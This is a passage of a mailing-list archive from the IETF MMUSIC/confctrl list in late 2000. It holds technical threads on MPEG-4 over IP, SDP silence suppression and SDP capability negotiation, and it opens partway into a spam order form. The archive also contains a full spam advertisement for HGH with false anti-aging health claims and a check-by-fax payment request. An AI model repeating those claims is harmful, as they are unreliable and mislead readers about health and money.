Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       273 S. State Rd. 7, #193
                       Margate, FL 33068-5727               


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Lady V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Lady V helps provide herbal and nutritional support
for female sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.


From confctrl-owner  Wed Nov 29 14:50:19 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA21923
	for confctrl-outgoing; Wed, 29 Nov 2000 14:50:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21918
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 14:50:17 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA24847
	for <confctrl@isi.edu>; Wed, 29 Nov 2000 14:50:17 -0800 (PST)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id OAA07855
	for <confctrl@isi.edu>; Wed, 29 Nov 2000 14:50:14 -0800 (PST)
Received: from scv2.apple.com (scv2.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T118064e1502d4d2575@mailgate1.apple.com>;
 Wed, 29 Nov 2000 14:50:14 -0800
Received: from [17.202.35.52] (singda.apple.com [17.202.35.52])
	by scv2.apple.com (8.9.3/8.9.3) with ESMTP id OAA00864;
	Wed, 29 Nov 2000 14:50:13 -0800 (PST)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com (Unverified)
Message-Id: <p0501040bb64b3807895b@[17.202.35.52]>
Date: Wed, 29 Nov 2000 14:48:28 -0800
To: confctrl@ISI.EDU, rem-conf@es.net
From: Dave Singer <singer@apple.com>
Subject: draft-singer-mpeg4-ip-02.txt
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I updated the draft below in minor ways, so it is now 
<http://www.ietf.org/internet-drafts/draft-singer-mpeg4-ip-02.txt>.

Here's the previous official announcement...

* * * *

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: A Framework for the delivery of MPEG-4 over IP-based
                           Protocols
	Author(s)	: D. Singer, Y. Lim
	Filename	: draft-singer-mpeg4-ip-01.txt
	Pages		: 12
	Date		: 15-Nov-00

This document forms an umbrella specification for the carriage and
operation of MPEG-4 multimedia sessions over IP-based protocols,
including RTP, RTSP, and HTTP, among others. It addresses IP
Multicast as well.
It also serves to document the standard MIME types associated with
MPEG-4 files.

...
-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Wed Nov 29 18:59:19 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA01825
	for confctrl-outgoing; Wed, 29 Nov 2000 18:59:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA01820
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 18:59:18 -0800 (PST)
Received: from mailman.lanl.gov (mailman.lanl.gov [128.165.5.1])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA05824
	for <confctrl@ISI.EDU>; Wed, 29 Nov 2000 18:59:17 -0800 (PST)
Received: (from root@localhost)
	by mailman.lanl.gov (8.10.1/8.10.1/(cic-5, 6/12/00)) id eAU2xFN24842;
	Wed, 29 Nov 2000 19:59:15 -0700
Received: from mailproxy.lanl.gov ([128.165.254.25])
	by mailman.lanl.gov (8.10.1/8.10.1/(cic-5, 6/12/00)) with ESMTP id eATMuCf12857
	for <peter@GOSHAWK.LANL.GOV>; Wed, 29 Nov 2000 15:56:12 -0700
Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160])
	by mailproxy.lanl.gov (8.10.1/8.10.1/(cic-5, 6/12/00)) with ESMTP id eATMuBf03492
	for <peter@GOSHAWK.LANL.GOV>; Wed, 29 Nov 2000 15:56:11 -0700
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA21923
	for confctrl-outgoing; Wed, 29 Nov 2000 14:50:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21918
	for <confctrl@zephyr.isi.edu>; Wed, 29 Nov 2000 14:50:17 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA24847
	for <confctrl@isi.edu>; Wed, 29 Nov 2000 14:50:17 -0800 (PST)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id OAA07855
	for <confctrl@isi.edu>; Wed, 29 Nov 2000 14:50:14 -0800 (PST)
Received: from scv2.apple.com (scv2.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T118064e1502d4d2575@mailgate1.apple.com>;
 Wed, 29 Nov 2000 14:50:14 -0800
Received: from [17.202.35.52] (singda.apple.com [17.202.35.52])
	by scv2.apple.com (8.9.3/8.9.3) with ESMTP id OAA00864;
	Wed, 29 Nov 2000 14:50:13 -0800 (PST)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com (Unverified)
Message-Id: <p0501040bb64b3807895b@[17.202.35.52]>
Date: Wed, 29 Nov 2000 14:48:28 -0800
To: confctrl@ISI.EDU, rem-conf@es.net
From: Dave Singer <singer@apple.com>
Subject: draft-singer-mpeg4-ip-02.txt
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


From confctrl-owner  Thu Nov 30 00:23:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA12294
	for confctrl-outgoing; Thu, 30 Nov 2000 00:23:13 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA12288
	for <confctrl@zephyr.isi.edu>; Thu, 30 Nov 2000 00:23:12 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id AAA18308
	for <confctrl@ISI.EDU>; Thu, 30 Nov 2000 00:23:11 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id DAA01542;
	Thu, 30 Nov 2000 03:25:33 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <X2075287>; Thu, 30 Nov 2000 03:21:07 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AAD15@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Terry L Anderson'" <tla@lucent.com>, mmusic <confctrl@ISI.EDU>
Subject: RE: silence suppression in SDP
Date: Thu, 30 Nov 2000 03:21:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I believe the reason this is absent from SDP is the origins of SDP as an
mbone session description. In the mbone, with large conferences, silence
suppression was a given; you cannot have multi-party conferences with
hundreds of people if all the listeners were always sending dead silence. As
a result, it didn't need to be signaled since it was mandatory to support.

Its unfortunate, I guess, that we have many implementations of systems today
that don't do silence suppression (or at least can't handle receiving no
data and treating it as silence). Sad as that may be, I suppose since they
exist we need to support the ability to indicate receipt of silence or not.

I looked at the silence suppression support in draft-ietf-mmusic-sdp-atm,
and think it is overkill. I fail to understand why most of that information
needs to be conveyed at all. I prefer a simpler approach. Silence can be
conveyed in actual RTP packets; indeed, there is an RTP payload format for
comfort noise. As such, this is handled by listing the comfort noise payload
type on the m line. Basically, we can also consider 'no RTP' as another
payload type, and list it as well. Thus:

m=audio 3048 RTP/AVP 0 89
a=rtpmap:89 silence

This indicates I can receive PCMU and silence. In fact, payload type 89
would never be sent at all. But, it provides the same structure as the case
where a real comfort codec was being used:

m=audio 3048 RTP/AVP 0 89
a=rtpmap:89 CN


-Jonathan R.


---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

> -----Original Message-----
> From: Terry L Anderson [mailto:tla@lucent.com]
> Sent: Wednesday, November 22, 2000 3:06 PM
> To: mmusic
> Subject: silence suppression in SDP
> 
> 
> We are working on implementations of H.248 (MEGACO) and one need is to
> control silence suppression on RTP connnections for some 
> codecs.  H.245
> carries this along with other media parameters during media channel
> negotiation.  It would seem that H.248
> (text mode) and SIP that use SDP for media channel 
> specifications would
> need the same feature, but RFC 2327 for SDP does not have such a
> parameter.
> 
> draft-ietf-mmusic-sdp-atm-02.txt introduces such a feature for ATM
> bearer connections but there appears to be no such feature for RTP
> bearer connections.
> 
> Am I missing something?  Has this been discussed in the past? 
>  Is there
> another way this should be done or is it common belief that 
> this should
> be outside SDP?
> 
> I notice that there is a new I-D on SDP.  I assume that this indicates
> the beginning of work on a new version.  Would it be 
> appropriate to add
> support for silence suppression similar to the sdp-atm 
> specification to
> the new SDP?
> 
> 
> --
> ------------------------------------------------------------
> Terry L Anderson              mailto:tla@lucent.com
> Tel:908.582.7013   Fax:908.582.6729
> Pager:800.759.8352 pin 1704572   1704572@skytel.com
> Lucent Technologies/ Voice Over IP Access Networks/ Applications Grp
> Rm 2B-121, 600 Mountain Av, Murray Hill, NJ 07974
> http://its.lucent.com/~tla (Lucent internal) http://www.gti.net/tla
> 
> 

From confctrl-owner  Thu Nov 30 04:49:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA20666
	for confctrl-outgoing; Thu, 30 Nov 2000 04:49:13 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA20661
	for <confctrl@zephyr.isi.edu>; Thu, 30 Nov 2000 04:49:12 -0800 (PST)
Received: from mel.alcatel.fr (mel.alcatel.fr [212.208.74.132])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id EAA15412
	for <confctrl@ISI.EDU>; Thu, 30 Nov 2000 04:49:10 -0800 (PST)
Received: from aifhs2.alcatel.fr (mailhub.alcatel.fr [155.132.180.80])
        by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id NAA02582;
        Thu, 30 Nov 2000 13:47:23 +0100
Received: from medine.ms.alcatel.fr (medine.ms.alcatel.fr [193.105.117.1])
        by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id NAA05167;
        Thu, 30 Nov 2000 13:45:24 +0100 (MET)
Received: from ms.ms.alcatel.fr (aar.ms.alcatel.fr [188.9.12.93])
	by medine.ms.alcatel.fr (8.8.8/8.8.8/aar-1.2) with ESMTP id NAA03269;
	Thu, 30 Nov 2000 13:48:56 +0100 (MET)
Received: from ms.alcatel.fr ([188.9.247.87])
	by ms.ms.alcatel.fr (8.8.7/8.8.7/aar-1.0) with ESMTP id NAA27004;
	Thu, 30 Nov 2000 13:48:56 +0100 (MET)
Message-ID: <3A264CBC.F3E7C586@ms.alcatel.fr>
Date: Thu, 30 Nov 2000 13:49:00 +0100
From: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Organization: Alcatel
X-Mailer: Mozilla 4.71 [en] (WinNT; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re:draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meeting in San 
 Diego)
References: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de> <3A1E3A9A.EE7F7882@cisco.com> <3A1E7DEC.67BF081C@ms.alcatel.fr> <3A1E9EDD.B26C8FF6@cisco.com>
Content-Type: multipart/alternative;
 boundary="------------E2EB889280C22618CA6D8B6D"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------E2EB889280C22618CA6D8B6D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

    Hi Flemming,

I am not sure to understand the example you are referring to:
1) Is it that the system is not able to handle some kind of audio (for
inst:PCMU) and DTMF simultaneously?
or
2) Is it that the system is able to but doesn't want to associate some
kind of audio (for inst:PCMU) and DTMF for this particular stream?
or an other case?

Thomas,

Flemming Andreasen wrote:

> Hi Thomas
>
> Multimedia would be one example of having different capabilities
> associated with different media streams. The ever popular DTMF
> discussion would be another, in as much as you might want to limit
> capabilities for a DTMF media stream to just that.
>
> -- Flemming
>
>
> Thomas LEVY wrote:
>
>>     Hello Flemming,
>>
>> The ideas of the draft seems interesting to me.
>> Furthermore, it seems very close to some discussion we have within
>> Megaco mailing list concerning media gateway capabilities exchange.
>> My question will be the following:
>> What do you exactly mean by providing a capability descriptions at
>> the media level?
>> On my opinion, media capabilities apply to whole the endpoint but
>> not to a particular media stream.
>> Do you imagine several streams with the same media type having
>> different capabilities?
>>
>> Regards Thomas,
>>
>> Flemming Andreasen wrote:
>>
>> > I've submitted a draft on adding some simple capability negotiation
>> > capabilites to SDP
>> > (http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
>> > which I solicit input on and would like to present in the meeting.
>> >
>> > The premise of this draft is that we have a pressing need for a
>> > capability negotiation mechanism. While work on SDPng has begun, it
>> > is still at a somewhat early stage, and given that SDPng is
>> > anticipated to not be backwards compatible with SDP, as well as the
>> > current proliferation of SDP in several protocols, we need to come
>> > up with at least a minimal solution for SDP (and fairly soon too).
>> >
>> >
>> > The abstract follows:
>> >
>> >    This document proposes a set of Session Description Protocol
>> > (SDP)
>> >    attributes that allow SDP to provide a minimal and backwards
>> >    compatible capability negotiation mechanism. The mechanism is
>> >    intended as a simple and limited solution to the general
>> > capability
>> >    negotiation problem being addressed by ongoing work on the next
>> >    generation of SDP, also known as SDPng.
>> >
>> >
>> > Regards
>> >
>> >         Flemming
>> >
>> >
>> > Joerg Ott wrote:
>> >
>> >>  Folks,
>> >>
>> >>  the MMUSIC WG is scheduled to meet twice at the 49th IETF in San
>> >>  Diego:
>> >>
>> >>      Wednesday, 13 Dec, 1300-1500
>> >>      Thursday,  14 Dec, 1530-1730
>> >>
>> >>  We would like to solicit input on agenda items for these two
>> >>  meetings.
>> >>  Please address slot requests to csp@isi.edu and jo@tzi.org.
>> >>
>> >>  A core issue for this meeting will be the further development of
>> >>  SDP
>> >>  and SDPng.
>> >>
>> >>  Colin and Joerg
>> >
>> > --
>> > Flemming Andreasen
>> > Cisco Systems
>>
> --
> Flemming Andreasen
> Cisco Systems

--------------E2EB889280C22618CA6D8B6D
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;&nbsp;&nbsp; Hi Flemming,
<p>I am not sure to understand the example you are referring to:
<br>1) Is it that the system is not able to handle some kind of audio (for
inst:PCMU) and DTMF simultaneously?
<br>or
<br>2) Is it that the system is able to but doesn't want to associate some
kind of audio (for inst:PCMU) and DTMF for this particular stream?
<br>or an other case?
<p>Thomas,
<p>Flemming Andreasen wrote:
<blockquote TYPE=CITE>Hi Thomas
<p>Multimedia would be one example of having different capabilities associated
with different media streams. The ever popular DTMF discussion would be
another, in as much as you might want to limit capabilities for a DTMF
media stream to just that.
<p>-- Flemming
<br>&nbsp;
<p>Thomas LEVY wrote:
<blockquote TYPE=CITE>&nbsp;&nbsp;&nbsp; Hello Flemming,
<p>The ideas of the draft seems interesting to me.
<br>Furthermore, it seems very close to some discussion we have within
Megaco mailing list concerning media gateway capabilities exchange.
<br>My question will be the following:
<br>What do you exactly mean by providing a capability descriptions at
the media level?
<br>On my opinion, media capabilities apply to whole the endpoint but not
to a particular media stream.
<br>Do you imagine several streams with the same media type having different
capabilities?
<p>Regards Thomas,
<p>Flemming Andreasen wrote:
<blockquote TYPE=CITE>I've submitted a draft on adding some simple capability
negotiation capabilites to SDP (<a href="http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt">http://search.ietf.org/internet-drafts/draft-andreasen-mmusic-sdp-simcap-00.txt)
</a>which
I solicit input on and would like to present in the meeting.
<p>The premise of this draft is that we have a pressing need for a capability
negotiation mechanism. While work on SDPng has begun, it is still at a
somewhat early stage, and given that SDPng is anticipated to not be backwards
compatible with SDP, as well as the current proliferation of SDP in several
protocols, we need to come up with at least a minimal solution for SDP
(and fairly soon too).
<br>&nbsp;
<p>The abstract follows:
<p>&nbsp;&nbsp; This document proposes a set of Session Description Protocol
(SDP)
<br>&nbsp;&nbsp; attributes that allow SDP to provide a minimal and backwards
<br>&nbsp;&nbsp; compatible capability negotiation mechanism. The mechanism
is
<br>&nbsp;&nbsp; intended as a simple and limited solution to the general
capability
<br>&nbsp;&nbsp; negotiation problem being addressed by ongoing work on
the next
<br>&nbsp;&nbsp; generation of SDP, also known as SDPng.
<br>&nbsp;
<p>Regards
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flemming
<br>&nbsp;
<p>Joerg Ott wrote:
<blockquote TYPE=CITE>Folks,
<p>the MMUSIC WG is scheduled to meet twice at the 49th IETF in San Diego:
<p>&nbsp;&nbsp;&nbsp; Wednesday, 13 Dec, 1300-1500
<br>&nbsp;&nbsp;&nbsp; Thursday,&nbsp; 14 Dec, 1530-1730
<p>We would like to solicit input on agenda items for these two meetings.
<br>Please address slot requests to csp@isi.edu and jo@tzi.org.
<p>A core issue for this meeting will be the further development of SDP
<br>and SDPng.
<p>Colin and Joerg</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems</blockquote>
</blockquote>
--
<br>Flemming Andreasen
<br>Cisco Systems</blockquote>
</html>

--------------E2EB889280C22618CA6D8B6D--


From confctrl-owner  Thu Nov 30 11:25:32 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA04708
	for confctrl-outgoing; Thu, 30 Nov 2000 11:25:32 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA04703
	for <confctrl@zephyr.isi.edu>; Thu, 30 Nov 2000 11:25:31 -0800 (PST)
Received: from p166.SWATOU ([202.96.144.198])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA14839
	for <confctrl@isi.edu>; Thu, 30 Nov 2000 11:25:29 -0800 (PST)
Date: Thu, 30 Nov 2000 11:25:29 -0800 (PST)
From: Younger@bdsm.at
Message-Id: <200011301925.LAA14839@gamma.isi.edu>
Received: from aks011 (1Cust54.tnt1.mia5.da.uu.net [63.30.194.54]) by p166.SWATOU with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id X8DNW5KR; Fri, 1 Dec 2000 03:25:50 +0800
To: Younger@bdsm.at
Subject: REVERSE the AGING PROCESS 10-20 Years!
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


HAVE YOU HEARD OF HUMAN GROWTH HORMONE (HGH)???

Released by your own pituitary gland, HGH starts
declining in your 20s, even more in your 30s and 40s,
eventually resulting in the shrinkage of major
organs-plus all other symptoms related to old age.

THIS CAN NOW BE REVERSED!!! IN THOUSANDS OF CLINICAL
STUDIES, HGH HAS BEEN SHOWN TO ACCOMPLISH THE FOLLOWING:

* Reduce Body Fat Without Dieting
   Build Lean Muscle WITHOUT EXERCISE!

* Enhance Sexual Performance

* Remove Wrinkles and Cellulite

* Lower Blood Pressure and improve Cholesterol Profile

* Improve Sleep, Vision and Memory

* Restore Hair Color and Growth

* Strengthen the Immune System

* Increase Energy and Cardiac Output

* Turn back your body's Biological Time Clock 10-20
   years in 6 months of usage !!!

You don't have to spend thousands of dollars on shots.
You don't have to spend the $139.00 per bottle that
HGH is selling for at some Clinics in the
United States.

For the next 30 Days, you can obtain a complete
one-month supply of our HGH releaser for our special
"New Customers" price of just $69.95 plus $6.00
shipping and handling. To ensure a constant supply and
to SAVE EVEN MORE, you can order with confidence
3 bottles of HGH and GET 1 FREE - that's just $209.85 for
4 bottles, plus $6.00 shipping and handling.
You SAVE $69.95! ORDER TODAY!

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express payments. Money Orders
are accepted only by Postal Mail.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of HGH $69.95


______ 2 Bottles of HGH $131.90 ($65.95 a bottle)


______ 4 Bottles of HGH (Buy 3 get 1 FREE. SAVE $69.95) $209.85


Please add $6 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$75.95, 2 bottles=$137.90, 4 bottles=$215.85 ]

International shipping, please add $35 for any size order
[ Total cost including shipping & handling,
1 bottle=$104.95, 2 bottles=$166.90, 4 bottles=$244.85 ]
Foreign checks are not accepted.  Credit cards & international
money orders only.

Step 2: Place a check by your desired payment method
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order


_____American Express
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________


Address _________________________________________________


City ____________________________________________________


State ___________________________________________________


Zip _____________________________________________________


E-mail __________________________________________________


Signature _________________________________________________
[ required for check and credit card orders]



            Toll Free FAX Order Line: 1-800-940-6590

If faxing in your order, please state whether you require
a fax, email, or no confirmation at all.
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

            Or, print & mail to:

Lion Sciences National
273 S. State Rd. 7  #193
Margate, FL 33068-5727


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW
















_____________________________________________________________

This is a one time mailing: Removal is automatic and no further
contact is necessary. Please Note: HGH is not intended to
diagnose, treat, cure or prevent any disease. The FDA has not
evaluated these statements.

From confctrl-owner  Thu Nov 30 14:04:07 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA10688
	for confctrl-outgoing; Thu, 30 Nov 2000 14:04:07 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA10683
	for <confctrl@zephyr.isi.edu>; Thu, 30 Nov 2000 14:04:06 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA02872
	for <confctrl@ISI.EDU>; Thu, 30 Nov 2000 14:04:05 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id OAA01034;
	Thu, 30 Nov 2000 14:03:39 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eAUM3hN24279;
	Thu, 30 Nov 2000 14:03:43 -0800 (PST)
Received: from cisco.com (rtp-vpn-31.cisco.com [10.82.192.31])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id OAA00202;
	Thu, 30 Nov 2000 14:03:29 -0800 (PST)
Message-ID: <3A26917C.C1E75855@cisco.com>
Date: Thu, 30 Nov 2000 12:42:20 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas LEVY <thomas.levy@ms.alcatel.fr>
CC: confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meeting in San 
 Diego)
References: <200011232220.eANMKkU11692@nmh.informatik.uni-bremen.de> <3A1E3A9A.EE7F7882@cisco.com> <3A1E7DEC.67BF081C@ms.alcatel.fr> <3A1E9EDD.B26C8FF6@cisco.com> <3A264CBC.F3E7C586@ms.alcatel.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Thomas LEVY wrote:

>     Hi Flemming,
>
> I am not sure to understand the example you are referring to:
> 1) Is it that the system is not able to handle some kind of audio (for
> inst:PCMU) and DTMF simultaneously?
> or
> 2) Is it that the system is able to but doesn't want to associate some
> kind of audio (for inst:PCMU) and DTMF for this particular stream?
> or an other case?

It's the second case. Consider an application that wants to receive DTMF
input from the user. Different mechanisms have been proposed for this,
and one of these is the use of an RFC 2833 DTMF media stream. In the
case where DTMF is all you wanted to support for a media stream while
having another media stream at the same time, you want a way to express
that a given capability only applies to a given media stream.

-- Flemming


--
Flemming Andreasen
Cisco Systems





From confctrl-owner  Sun Dec  3 21:01:28 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA23110
	for confctrl-outgoing; Sun, 3 Dec 2000 21:01:28 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA23105
	for <confctrl@zephyr.isi.edu>; Sun, 3 Dec 2000 21:01:27 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA10152
	for <confctrl@ISI.EDU>; Sun, 3 Dec 2000 21:01:26 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA01667;
	Mon, 4 Dec 2000 00:03:46 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <X2075NZY>; Sun, 3 Dec 2000 23:59:13 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AAD80@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Flemming Andreasen'" <fandreas@cisco.com>,
        Thomas LEVY
	 <thomas.levy@ms.alcatel.fr>
Cc: confctrl@ISI.EDU
Subject: RE: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meeting
	 in San  Diego)
Date: Sun, 3 Dec 2000 23:59:12 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Thursday, November 30, 2000 12:42 PM
> To: Thomas LEVY
> Cc: confctrl@ISI.EDU
> Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC
> meeting in San Diego)
> 
> 
> 
> 
> Thomas LEVY wrote:
> 
> >     Hi Flemming,
> >
> > I am not sure to understand the example you are referring to:
> > 1) Is it that the system is not able to handle some kind of 
> audio (for
> > inst:PCMU) and DTMF simultaneously?
> > or
> > 2) Is it that the system is able to but doesn't want to 
> associate some
> > kind of audio (for inst:PCMU) and DTMF for this particular stream?
> > or an other case?
> 
> It's the second case. Consider an application that wants to 
> receive DTMF
> input from the user. Different mechanisms have been proposed for this,
> and one of these is the use of an RFC 2833 DTMF media stream. In the
> case where DTMF is all you wanted to support for a media stream while
> having another media stream at the same time, you want a way 
> to express
> that a given capability only applies to a given media stream.

This doesn't require any extensions, so long as the originator always lists
all codecs possible in a new stream. Consider A and B are in a  call, and
that B is actually an application that wants to add a DTMF stream. 

The original INVITE from the user A to the server B has SDP like:

m=audio 44530 RTP/AVP 0 3 15 88
c=IN IP4 1.2.3.4
